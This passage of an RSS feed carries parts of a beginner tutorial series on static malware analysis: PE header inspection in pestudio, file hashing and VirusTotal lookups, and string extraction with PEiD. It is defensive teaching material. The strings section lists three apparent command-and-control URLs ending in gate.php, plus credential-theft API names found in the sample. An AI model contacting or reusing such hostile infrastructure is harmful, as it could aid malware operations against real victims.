href="https://medium.com/media/89f0e3015c971738ea39e2494b8a37f5/href">https://medium.com/media/89f0e3015c971738ea39e2494b8a37f5/href</a></iframe><p>Simplified form of PE header can be:</p><p><em>[ 0x0000 ] MZ (DOS Header)<br>…<br>[ 0x003C ] e_lfanew → Offset to PE header<br> …<br>[ e_lfanew ] PE\0\0 (Start of NT Headers)<br> (next) ↳ FILE_HEADER<br> (next) ↳ OPTIONAL_HEADER<br> (next) ↳ SECTION HEADERS</em></p><p>Here’s how it will look in hex form:</p><p><em>00000000 4D 5A 90 00 … ; MZ Header (MS-DOS)<br>…<br>0000003C 80 00 00 00 ; e_lfanew = 0x80<br>…<br>00000080 50 45 00 00 ; “PE\0\0” Signature (Start of NT Headers)</em></p><p>We can use many tools to analyze the headers like pefile, PE-bear, CFF explorer, pestudio etc. Some of the information that we may look for in the file is given in the following table.</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/cf03536db5959d0c765efc838e3da63e/href">https://medium.com/media/cf03536db5959d0c765efc838e3da63e/href</a></iframe><p>Launch pestudio to analyze the header. When the sample is dropped in pestudio, on the right we get a well structured tree which contains all the important categories or piece of information that helps us in analysis of the desired sample.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/965/1*mlmygSm6RbAawN2Aznjv-A.png" /></figure><p>Expand and move to <em>the file header</em> section and get the compiler stamp from there. This shows the time the malware sample was first compiled.</p><p>Next up is the <em>optional header </em>which gives us important information about the subsystem that is in this case GUI.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/968/1*lclFPwsS0o4yGgNUoahqzg.png" /></figure><p>The <em>directories</em> give us information about the sections, libraries being used by the malware, imports and the strings within it.</p><p>The <em>.text, .rdata and .data</em> are standardized sections that are pretty much guaranteed to exist within each malware. Below them are the permissions granted to each section. The <em>.text section</em> has read and execute permission, the <em>.rdata </em>has only read permission while the <em>.data</em> section has read and write pemissions.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/979/1*YwgKsOCtPeKeVKBPxhxT7w.png" /></figure><p>The <em>libraries </em>give details about the libraries that the malware will be using.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/965/1*klX7JLDcHDM5GOtfx7vC4A.png" /></figure><p>Some important libraries used are:</p><p><em>Kernel32: </em>Used by nearly all Windows-based programs to access system functionality such as memory management, process handling, and file operations.</p><p><em>Advapi32: </em>Provides functions to interact with the Windows Registry, allowing reading, writing, and manipulation of registry keys and values.</p><p><em>Wsock32: </em>Offers functions related to the Winsock (Windows Sockets) API, which enables programs to communicate over TCP/IP networks. Provides the networking capabilities required for applications to establish network connections, send and receive data over the internet, and interact with network protocols.</p><p><em>Wininet32:</em> It provides functionalities related to internet communication, HTTP, FTP, and other networking operations within Windows-based applications. Supports functions to establish and manage internet connections, enabling applications to access resources on the internet.</p><p>Next we will look at <em>the imports.</em> They consist of all the functions and the respective library they belong to, along with flags which show that either the functions are associated with some malicious intent.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/974/1*1b8p335wUI03RvHb3M9oOA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/963/1*umbBXV0TG7VTqXuZ5RMkIg.png" /></figure><p>The advapi32 has functions related to registry which shows the malware can interact with the registry function.</p><p>In order to search for the working of a function or import right click it, copy and open it up in any browser.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/968/1*EEhCF-VeFSjre0ycKs8mqQ.png" /></figure><p>The analysis of these functions show that the malware can interact with the registry system as well as the file system and can create, delete, find files and exit processes as well.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/946/1*60HuE40mvb0T-aPxktTVWg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/955/1*Kru_8IrJjP5Sb-RL3f6LEw.png" /></figure><p>The malware also has the ability to connect to a particular address and send data using functions of wsock and wininet libraries.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/963/1*8txTihWK6FvvyOstNtUdZQ.png" /></figure><p>The <em>LoadLibraryA</em> function is quite common in pieces of malware that dynamically loads other libraries, which means that this may not be the entire extent of the functionality of the malware.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/951/1*Y5xZAxQibRiylCFHDIRHHQ.png" /></figure><p>Next are <em>indicators </em>that give us hint on the things that need to be kept in consideration.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/968/1*2D9HgrJtjdaZTtn_UFNWGA.png" /></figure><p>So this was a short practical on how to analyze PE headers.</p><p>In our malware analysis we followed a step-by-step method along with using special tools to study the malware file without running it. This included identifying the file type, checking its unique hash values, finding useful text inside it, detecting if it was packed or hidden, and closely examining the PE header for important details.</p><p>The analysis showed that the file was a Windows program with unusual features, such as changing registry settings, connecting to networks, and loading extra code when needed. These signs pointed to behavior like establishing connections, sending data, and possibly doing harm. Overall, this careful analysis helped understand what the malware does and how dangerous it could be, while also giving valuable knowledge to improve protection against future threats.</p><p>That’s all for now. Until next time, happy analyzing digital detectives!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=fff637d21830" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Performing Static Malware Analysis On A Sample Malware Pt.2]]></title>
            <link>https://medium.com/@claudiovolpecv710/performing-static-malware-analysis-on-a-sample-malware-pt-2-9cb3bd1457b5?source=rss-9cd89e174dda------2</link>
            <guid isPermaLink="false">https://medium.com/p/9cb3bd1457b5</guid>
            <category><![CDATA[string]]></category>
            <category><![CDATA[static]]></category>
            <category><![CDATA[analysis]]></category>
            <category><![CDATA[hash]]></category>
            <category><![CDATA[malware]]></category>
            <dc:creator><![CDATA[ClaudioXXX]]></dc:creator>
            <pubDate>Tue, 27 May 2025 18:03:20 GMT</pubDate>
            <atom:updated>2025-06-02T20:07:52.435Z</atom:updated>
            <content:encoded><![CDATA[<p>This is the second part of static malware analysis on a sample piece of malware.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/259/1*C_LZnsXPDldfTd1HMgQBdw.png" /></figure><p>Here’s the link to part 1 where we defined static analysis and performed file type identification:</p><p><a href="https://medium.com/@claudiovolpecv710/performing-static-malware-analysis-on-a-sample-malware-dc3b5f19a818">https://medium.com/@claudiovolpecv710/performing-static-malware-analysis-on-a-sample-malware-dc3b5f19a818</a></p><p>Let’s start where we left off and do some more analysis of our sample.</p><p>2. <strong>Identifying the Malware</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/261/1*8WxJDGrrlRJFbrx0dukUjw.png" /></figure><p>First let’s understand common terminologies we will be using in this section.</p><p><strong>Malware Hashing: </strong>A process of creating a unique digital ID for a file, which is</p><ol><li>fixed in length</li><li>unique for identification</li><li>uses some cryptographic functions</li></ol><p>This ID helps quickly recognize and track known malware, even across different systems. This ID is called fingerprint. It’s like giving each bad file a unique number, so if the same malware shows up again it can be easily spotted and blocked.</p><p><strong>Common Hashing Algorithms</strong></p><ul><li><strong>MD5 (</strong>128-bit): It is fast but weak, however, it is still used for legacy purposes.</li><li><strong>SHA-1 (</strong>160-bit): More secure than MD5, but also deprecated.</li><li><strong>SHA-256 (</strong>256-bit): Stronger and more widely used in modern malware analysis.</li></ul><p>This leads us to answer the question that why we use hashes for malware instead of their names!? Simply because hashes provide a unique and consistent way to identify malware, while names can vary between antivirus vendors and may be reused or misleading.</p><p>However, the hash will change even if there is slightest modification of even an alphabet in the file. It is one of the ways to identify a malware but now more advanced techniques and methods are needed and used.</p><p>We will move towards our sample now and identify the malware hash of it using HashMyFiles.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/565/1*d70u9P0Pn02MA9S7xWRc_w.png" /></figure><p><strong>HashMyFiles:</strong> It is a lightweight and straightforward utility used to calculate the hash value of files. It calculates and displays the hash values for one or multiple files simultaneously.</p><p>Open the infected file using HashMyFiles tool. The tool generates the hashes of the file in MD5,SHA-1,SHA-256, SHA-512 and SHA-384.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/967/1*-3QMwJl11MfvM4cJmwfCjg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/963/1*smyVSAdznUGd5t7wCAmL-w.png" /></figure><p><strong>HashCalc:</strong> It is another tool to create hashes of a file. Execute the tool and then drag the file onto the tool to create the required hashes.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/749/1*AGkg3AljIeJxhyPX7WVeIw.png" /></figure><p>We can us these hashes to identify <em>known </em>malicious files using various tools like VirusTotal, Any.run, Hybrid Analysis etc</p><p>All these tools are used for detecting malware, analyzing suspicious files or URLs, and gathering threat intelligence from multiple antivirus engines or sandbox environments.</p><p>We will use VirusTotal which is the most common one used among detecting tools. Copy any hash, for example MD5 and then visit the VirusTotal website.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/751/1*0IRvHED-2Sm0x7VtUOPkQg.png" /></figure><p>Open the browser and go to the VirusTotal website. There paste the copied hash of the file and hit enter.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/979/1*eS_pbeGHiFLRd7aQPD2SKA.png" /></figure><p>The website returns the results and shows if the piece of malware has been detected before or not.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/979/1*2qoOvo-CVd37Vnue7Gpz1Q.png" /></figure><p>The search for our malware sample resulted in detection by 63 anti-virus vendors, meaning that these vendors have already flagged this hash as malicious.</p><p>Some of these are:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/979/1*l-uMabxcw9a7AIcvH-m9iQ.png" /></figure><p>More details provided by VirusTotal shows the corresponding SHA-1 and SHA-256 hashes, which we can compare with the hashes already generated by our HashCalc. This section also gives many more such details like the type of the file i.e; win32 dll, the date it was first discovered, file size and so on.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/979/1*x0322pGnst6Z74G86J1bDg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/979/1*gc3HAkqX-nYXfoqrd3KCXw.png" /></figure><p>So how do these tools actually detect malicious files? Tools like VirusTotal produce results by scanning submitted files or URLs using multiple antivirus engines that check for known malware signatures and apply heuristic analysis to detect suspicious code patterns.</p><p>Additionally, some tools run the files in secure sandbox environments to observe their behavior dynamically, such as file modifications or network activity. They then correlate these findings with threat intelligence databases to identify if the item has been previously reported or linked to malicious campaigns.</p><p>3. Analyzing Strings</p><p>Strings Analysis means pulling out all the readable text from a malware file. This text can include <em>words, phrases, URLs, file paths, or commands</em> that the malware might use. These readable pieces often give important clues about what the malware does.</p><p>In order to understand the behavior and nature of malware, it usually contains useful strings. However, it also has many random or meaningless text added to confuse analysts or evade detection. These are called <strong><em>garbage strings.</em></strong></p><p>Strings can be in two common formats:</p><ul><li><strong>ASCII</strong> (basic English letters and symbols)</li><li><strong>Unicode</strong> (supports many languages and symbols)</li></ul><p>So while looking for strings we need to explicitly specify the format as some tools find ASCII strings by default. By carefully reviewing these extracted strings, important details can be found like:</p><ul><li>URLs or IP addresses the malware communicates with</li><li>Names of files or registry keys it uses</li><li>Commands or error messages it may generate</li><li>Clues about the malware’s creator or purpose</li></ul><p>Let’s start analysis of our infected file. The first tool we will be using for this purpose is the PEiD tool.</p><p><strong>PEiD:</strong> It is a famous tool that helps find out if a Windows program is packed or hidden using special software. Packing means the file is compressed or encrypted to hide what it really does. PEiD tells which program or method was used to create or pack the file. This is important because many malware files hide their code to avoid being detected, and PEiD helps you figure out how they did it.</p><p>Import infected file into peid and expand the first bytes section.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/564/1*3l3WCCKEiyzOIbOB9utyXA.png" /></figure><p>It opens up the disassembler. From here navigate to the strings by clicking the strings button in the bottom.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/979/1*2GFVBkYwOB5c7Dzkz2bEBA.png" /></figure><p>This can be used to analyze the strings like URLs, function names, libraries etc present in the malware. Following are some strings found in our malware sample.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/1*-ASRYYz5lwNVywly_ya4PA.png" /></figure><p>We can see some registry keys</p><p><em>-SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall</em></p><p><em>-Software\Winrar</em></p><p>These suggest the malware may be checking installed software or persistence methods. We are also getting some suspicious URLs :</p><p><em>-http://rearpapvul.com/zapoy/gate.php</em></p><p><em>-http://lefttherhspar.ru/zapoy/gate.php</em></p><p><em>-http://reptertinrom.ru/zapoy/gate.php</em></p><p>These are likely C2 (Command and Control) servers or download locations for the malware.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/697/1*yNrztSQZ747YU2StiyQ75g.png" /></figure><p>If we move down we get some more info. DLL imports and API functions.</p><p><em>-kernel32.dll. netapi32.dll, advapi32.dll</em></p><p>Functions like V<em>aultEnumerateItems, NetUserEnum, ProcessIdToSessionId</em> indicate the malware is likely performing credential theft e.g., Windows Vault access or enumeration of user accounts.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/697/1*9ofy1aaxN-z_O4o36AwWkw.png" /></figure><p>This is how we can get useful info about a malware file via strings that indicate it’s behavior. We can also use PeStudio for analyzing strings. I’ll leave that to you as an exercise. Use the tool and see what info it displays and what is the different in it than PEiD.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/260/1*bEHnnvn95yRnmP8TtZW1SQ.png" /></figure><p>In this article which is the second part of static malware analysis we learned how to identify malware by their hashes and check other related info from tools like VirusTotal. Then we also explored how to analyze strings and extract useful clues from this readable text.</p><p>In the next part of this static analysis, we will be learning about packet and obfuscation and PE headers. I will try to complete the analysis in the next part and not drag it more than three articles.</p><p>Final part of our malware static analysis:</p><p><a href="https://medium.com/@claudiovolpecv710/performing-static-malware-analysis-on-a-sample-malware-pt-3-fff637d21830">https://medium.com/@claudiovolpecv710/performing-static-malware-analysis-on-a-sample-malware-pt-3-fff637d21830</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=9cb3bd1457b5" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>